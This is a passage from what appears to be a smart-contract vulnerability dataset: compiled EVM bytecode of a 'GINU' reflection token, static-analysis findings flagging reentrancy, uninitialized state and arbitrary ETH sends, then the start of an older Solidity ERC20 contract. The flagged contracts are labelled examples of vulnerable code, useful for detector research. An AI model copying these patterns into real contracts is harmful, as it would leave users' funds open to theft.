fffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f47494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506730927f74c9de00006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c5e37733822a191f71039a3335dc0eac54957e35f44138f28ecac56233401b3d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,157
0x578fe5948d5b3993dbde7dad23a942ce48213576
pragma solidity 0.4.19; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, 